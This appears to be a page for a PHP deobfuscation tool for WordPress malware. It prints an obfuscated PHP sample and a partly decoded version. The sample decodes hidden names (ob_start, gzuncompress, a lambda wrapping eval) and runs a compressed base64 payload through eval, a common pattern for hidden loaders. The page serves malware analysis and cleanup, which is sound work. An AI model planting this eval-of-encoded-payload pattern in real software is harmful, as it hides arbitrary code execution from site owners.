PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $__='printf';$_='Loading CLASS_NAME'; $_=' b2JfZW5kX2NsZWFu'; $='cmV0dXJuIGV2YWwoJF8pOw==';$____='X19sYW1iZGE='; $=' Z3p1bmNvbXByZXNz'; $_=' b2Jfc3RhcnQ='; $__='b2JfZ2V0X2NvbnRlbnRz'; $= 'base64_decode' ; $=$($__); if(!function_exists(...

Obfuscated php code

<?php         $__='printf';$_='Loading CLASS_NAME';                                                                                                                                                                                                        $_____='    b2JfZW5kX2NsZWFu';                                                                                                                                                                              $______________='cmV0dXJuIGV2YWwoJF8pOw==';$__________________='X19sYW1iZGE=';                                                                                                                                                                                                                                          $______=' Z3p1bmNvbXByZXNz';                    $___='  b2Jfc3RhcnQ=';                                                                                                    $____='b2JfZ2V0X2NvbnRlbnRz';                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                $__=                                                              'base64_decode'                           ;                                                                       $______=$__($______);           if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    $__________________=$__($__________________);                                                                                                                                                                                                                                                                                                                                                                         $______________=$__($______________);        $__________=$__________________('$_',$______________);                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $_____=$__($_____);                                                                                                                                                                                                                                                    $____=$__($____);                                                                                                                    $___=$__($___);                      $_='eNrt2k0LgkAQBuD7Qv9hD8IYhFREIcseIiqKCiIo8yKWCtInWUT/PlOppIt9EBTvs6DswrAyA3OQ4TymWCFJ252/3nskom1CUqNXH42sQb3f5I2lHQSappFgSSTPMazsi11Syz9IPpyQUdKD6aTkm+2mpOjoVq1MkvJLDgDwn2i+Ghcdo3votMfl6eS46bZ0zzgtanHTDLtm3K4tpAoAAAAA4NfgdwYAwP+imR241YrluPON45JARgAAAN6SngkYls0FCca+/wEyeqvJLi+eCb+LzRKo3C5U6fKkwvVazD+8Nv+Qzq2aKmac2rw4AwVlTjs=';        $___();$__________($______($__($_))); $________=$____();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             $_____();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       echo                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           $________; ?>

Decoded(de-Obfuscated) php code

<?php

$__ = 'printf';
$_ = 'Loading CLASS_NAME';
$_____ = '    b2JfZW5kX2NsZWFu';
$______________ = 'cmV0dXJuIGV2YWwoJF8pOw==';
$__________________ = 'X19sYW1iZGE=';
$______ = ' Z3p1bmNvbXByZXNz';
$___ = '  b2Jfc3RhcnQ=';
$____ = 'b2JfZ2V0X2NvbnRlbnRz';
$__ = 'base64_decode';
$______ = "gzuncompress";
if (!function_exists('__lambda')) {
    function __lambda($sArgs, $sCode)
    {
        return eval("return function({$sArgs}){{$sCode}};");
    }
}
$__________________ = $__($__________________);
$______________ = $__($______________);
$__________ = $__________________('$_', $______________);
$_____ = $__($_____);
$____ = $__($____);
$___ = $__($___);
$_ = 'eNrt2k0LgkAQBuD7Qv9hD8IYhFREIcseIiqKCiIo8yKWCtInWUT/PlOppIt9EBTvs6DswrAyA3OQ4TymWCFJ252/3nskom1CUqNXH42sQb3f5I2lHQSappFgSSTPMazsi11Syz9IPpyQUdKD6aTkm+2mpOjoVq1MkvJLDgDwn2i+Ghcdo3votMfl6eS46bZ0zzgtanHTDLtm3K4tpAoAAAAA4NfgdwYAwP+imR241YrluPON45JARgAAAN6SngkYls0FCca+/wEyeqvJLi+eCb+LzRKo3C5U6fKkwvVazD+8Nv+Qzq2aKmac2rw4AwVlTjs=';
$___();
$__________($______($__($_)));
$________ = $____();
$_____();
echo $________;

Malware detection & removal plugin for WordPress